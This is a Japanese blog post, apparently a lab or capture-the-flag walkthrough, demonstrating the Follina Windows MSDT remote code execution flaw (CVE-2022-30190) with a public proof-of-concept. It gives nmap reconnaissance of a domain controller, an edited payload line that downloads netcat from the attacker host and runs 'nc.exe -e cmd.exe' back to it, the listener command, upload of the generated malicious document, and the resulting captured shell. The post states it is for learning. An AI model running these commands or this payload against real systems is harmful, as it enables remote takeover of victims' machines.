WindowsOSのリモートコード実行の脆弱性_CVE-2022-30190_Folline_検証

:::note alert
投稿記事は、学習のため投稿しております。
本投稿内容を基に、商用環境への悪用は行わないでください。
:::

# 概要
　2022年5月30日に公開された脆弱性であるWindowsOSのゼロクリックでリモートコード実行の脆弱性（CVE-2022-30190）について、PoCコードを基に攻撃例を紹介する記事となります。

## 偵察（Reconnaissance）
### NMAPで使用されているサービスの調査
#### NMAPのコマンド
```
nmap -sV [標的のIPアドレス]
```
#### NMAPの結果
```
Starting Nmap 7.93 ( https://nmap.org ) at xxxx
Nmap scan report for [標的のIPアドレス]
Host is up (0.17s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Apache httpd 2.4.53 ((Win64) OpenSSL/1.1.1n PHP/8.1.6)
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-09-25 14:44:16Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: [標的のドメイン名]., Site: Default-First-Site-Name)
443/tcp  open  ssl/http      Apache httpd 2.4.53 ((Win64) OpenSSL/1.1.1n PHP/8.1.6)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: [標的のドメイン名]., Site: Default-First-Site-Name)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: [標的のドメイン名]., Site: Default-First-Site-Name)
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: [標的のドメイン名]., Site: Default-First-Site-Name)
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.08 seconds
```
NMAPの結果からWindows OSが動いていることがわかる

### CVE-2022-30190のダウンロードおよび準備
#### CVE-2022-30190のPoCコード

https://github.com/JohnHammond/msdt-follina


#### git cloneでダウンロードする
```
git clone https://github.com/JohnHammond/msdt-follina.git
```

#### follina.pyを編集
111行目を編集する
* 変更前
```
command = f"""Invoke-WebRequest https://github.com/JohnHammond/msdt-follina/blob/main/nc64.exe?raw=true -OutFile C:\\Windows\\Tasks\\nc.exe; C:\\Windows\\Tasks\\nc.exe -e cmd.exe {serve_host} {args.reverse}"""
```
* 変更後
```
command = f"""Invoke-WebRequest http://{serve_host}:{args.port}/nc64.exe -OutFile C:\\Windows\\Tasks\\nc.exe; C:\\Windows\\Tasks\\nc.exe -e cmd.exe {serve_host} {args.reverse}"""
```

## 実行（Execution）
#### follina.pyを実行、待ち受けを行う
```
python3 follina.py -r 9000 -i tun0
```

#### 実行後のコンソール画面
```
[+] copied staging doc /tmp/_cs0ydh2
[+] created maldoc ./follina.doc
[+] serving html payload on :8000
[+] starting 'nc -lvnp 9000' 
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9000
Ncat: Listening on 0.0.0.0:9000
```
follina.pyを実行すると攻撃用の「follina.doc」が作成される
標的のアップロード機能部分に「follina.doc」をアップロードする

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3510253/fb681d41-b5cc-5724-8599-2a5be7801d60.png)

#### コンソール画面
```
[+] copied staging doc /tmp/_cs0ydh2
[+] created maldoc ./follina.doc
[+] serving html payload on :8000
[+] starting 'nc -lvnp 9000' 
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9000
Ncat: Listening on 0.0.0.0:9000
Ncat: Connection from [標的のIPアドレス].
Ncat: Connection from [標的のIPアドレス]:57021.
Microsoft Windows [Version 10.0.17763.2867]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\Public\Temp>
```
攻撃に成功し数秒すると、シェルコードが実行され待ち受けに送信
標的を乗っ取ることができる

## 参考文献
* CVE-2022-30190のPoCコード

https://github.com/JohnHammond/msdt-follina

* CVE-2022-30190 Detail

https://nvd.nist.gov/vuln/detail/cve-2022-30190